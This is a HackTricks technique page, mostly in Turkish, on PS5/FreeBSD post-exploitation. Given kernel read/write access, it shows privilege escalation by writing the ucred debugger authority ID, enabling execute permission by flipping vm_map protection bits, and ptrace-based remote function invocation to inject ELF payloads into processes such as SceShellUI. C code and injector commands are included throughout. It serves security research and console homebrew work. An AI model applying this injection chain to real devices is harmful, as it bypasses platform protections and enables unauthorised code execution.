FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 vaka çalışması)

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

Bu sayfa, PlayStation 5 (PS5) üzerinde kullanıcı modlu süreç/ELF enjeksiyonuna yönelik pratik bir Unix/BSD tekniğini belgeler; PS5 FreeBSD tabanlıdır. Yöntem, zaten kernel read/write (R/W) primitives’e sahip olduğunuz FreeBSD türevlerine genelleştirilebilir. Yüksek seviye:

  • Mevcut süreç kimlik bilgilerini (ucred) düzenleyerek debugger yetkisi verin; böylece ptrace/mdbg ile rastgele kullanıcı süreçlerine erişim sağlayın.
  • Kernel allproc listesini dolaşarak hedef süreçleri bulun.
  • Hedefin vm_map'indeki vm_map_entry.protection |= PROT_EXEC bitini çevirerek PROT_EXEC kısıtlamalarını kernel veri yazmalarıyla bypass edin.
  • ptrace kullanarak Remote Function Invocation (RFI) gerçekleştirin: bir thread’i durdurun, registerları hedef içindeki rastgele fonksiyonları çağıracak şekilde ayarlayın, devam ettirin, dönüş değerlerini toplayın ve durumu geri yükleyin.
  • Hedef içinde bir in-process ELF loader kullanarak rastgele ELF payload’ları map’leyin ve çalıştırın; ardından payload’ınızı çalıştıran ayrılmış bir thread başlatın ve temiz ayrılmayı sağlamak için breakpoint tetikleyin.

Bu teknik bağlamında dikkat edilmesi gereken PS5 hypervisor önlemleri:

  • XOM (execute-only .text) kernel .text’in okunmasını/yazılmasını engeller.
  • CR0.WP’yi temizlemek veya CR4.SMEP’i devre dışı bırakmak bir hypervisor vmexit’e (crash) neden olur. Yalnızca veri-odaklı kernel yazmaları uygundur.
  • Userland mmap varsayılan olarak PROT_READ|PROT_WRITE ile sınırlıdır. PROT_EXEC verilmesi kernel belleğindeki vm_map girdilerini düzenleyerek yapılmalıdır.

Bu teknik post-exploitation aşamasındadır: bir exploit zincirinden kernel R/W primitives varsayar. Kamuya açık payload’lar, yazım sırasında firmware 10.01’e kadar bunu göstermektedir.

Kernel veri-yalnız primitifleri

allproc üzerinden süreç keşfi

FreeBSD, kernel .data içinde allproc’ta çift bağlı bir süreç listesi tutar. Bir kernel read primitive ile, süreç isimlerini ve PID’leri bulmak için bunu yineleyin:

c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
} while (next);
free(proc);
return NULL;
}

void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}

Notlar:

  • KERNEL_ADDRESS_ALLPROC firmware'e bağlıdır.
  • p_comm sabit boyutlu bir isimdir; gerekirse pid->proc aramalarını düşünün.

Hata ayıklama için yetkileri yükseltme (ucred)

PS5'te, struct ucred, proc->p_ucred aracılığıyla erişilebilen bir Authority ID alanı içerir. debugger authority ID'yi yazarak diğer süreçler üzerinde ptrace/mdbg sağlar:

c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
  • Offset 0x58 PS5 firmware ailesine özgüdür ve sürüme göre doğrulanmalıdır.
  • Bu yazma işleminden sonra, injector ptrace/mdbg aracılığıyla kullanıcı süreçlerine attach olup instrument edebilir.

RW-only kullanıcı eşlemelerini atlatma: vm_map PROT_EXEC flip

Kullanıcı alanındaki mmap PROT_READ|PROT_WRITE ile kısıtlanmış olabilir. FreeBSD, bir sürecin adres alanını vm_map_entry düğümlerinden oluşan bir vm_map içinde (BST artı liste) takip eder. Her giriş protection ve max_protection alanlarını taşır:

c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};

With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:

  • Girişleri ya next ile doğrusal olarak dolaştırın ya da adres aralığına göre O(log n) arama için balanced-tree (left/right) kullanın.
  • Kontrolünüzdeki bilinen bir RW bölgesini (scratch buffer veya mapped file) seçin ve kod veya loader thunks yerleştirebilmek için PROT_EXEC ekleyin.
  • PS5 SDK kodu hızlı map-entry araması ve korumaları değiştirmek için yardımcılar sağlar.

Bu, kernel'in sahip olduğu metadata'yı doğrudan düzenleyerek userland’ın mmap politikasını atlatır.

Remote Function Invocation (RFI) with ptrace

FreeBSD, Windows tarzı VirtualAllocEx/CreateRemoteThread'e sahip değil. Bunun yerine, ptrace kontrolü altında hedefi kendi üzerinde fonksiyonlar çağırmaya yönlendirin:

  1. Hedefe attach olun ve bir thread seçin; PTRACE_ATTACH veya PS5-specific mdbg akışları uygulanabilir.
  2. Thread bağlamını kaydedin: registers, PC, SP, flags.
  3. ABI'ye göre argument registerlarını yazın (x86_64 SysV veya arm64 AAPCS64), PC'yi hedef fonksiyona ayarlayın ve gerekirse ek argümanları/stack'i yerleştirin.
  4. Single-step veya devam ettirerek kontrollü bir durana kadar (ör. software breakpoint veya signal) ilerleyin, sonra return değerlerini regs'den okuyun.
  5. Orijinal bağlamı geri yükleyin ve devam edin.

Kullanım durumları:

  • Hedef bellekte ELF imajınıza işaret eden bir pointer ile süreç içi ELF loader'ına (ör. elfldr_load) çağrı yapın.
  • Döndürülen entrypoint'leri ve payload-args pointer'larını almak için yardımcı rutinleri çağırın.

Example of driving the ELF loader:

c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args  = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);

Loader, segments'leri eşler, imports'ları çözer, relocations'ı uygular ve entry'yi (çoğunlukla bir CRT bootstrap) ile birlikte opak bir payload_args pointer'ı döndürür; stager'ınız bu pointer'ı payload'ın main()'ine geçirir.

İş parçacıklı stager ve temiz detach

Hedef içindeki minimal bir stager, ELF'in main'ini çalıştıran yeni bir pthread oluşturur ve ardından injector'ın detach etmesi için sinyal vermek amacıyla int3 tetikler:

c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
  • SCEFunctions/payload_args pointers, loader/SDK glue tarafından sağlanır.
  • breakpoint ve detach'ten sonra, payload kendi thread'inde devam eder.

Uçtan uca pipeline (PS5 referans uygulaması)

Çalışan bir uygulama küçük bir TCP injector sunucusu ve bir client script olarak gelir:

  • NineS sunucusu TCP 9033 üzerinde dinler ve hedef süreç adını içeren bir başlık ve ardından ELF görüntüsünü alır:
c
typedef struct __injector_data_t{
char       proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
  • Python istemci kullanımı:
bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>

Hello-world payload örneği (logs to klog):

c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}

Pratik hususlar

  • Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) firmware'e özgüdür ve her sürümde güncellenmelidir.
  • Hypervisor korumaları yalnızca veri-odaklı kernel yazımlarını zorunlu kılar; CR0.WP veya CR4.SMEP'i patchlemeye çalışmayın.
  • JIT memory bir alternatif olabilir: bazı process'ler executable sayfaları ayırmak için PS5 JIT API'leri sunar. vm_map protection flip, JIT/mirroring hilelerine dayanmaya olan ihtiyacı ortadan kaldırır.
  • Register save/restore işlemlerini sağlam tutun; başarısızlık durumunda hedefte deadlock veya crash oluşabilir.

Genel araçlar

  • PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
  • ELF loader: https://github.com/ps5-payload-dev/elfldr
  • Injector server: https://github.com/buzzer-re/NineS/
  • Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
  • Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin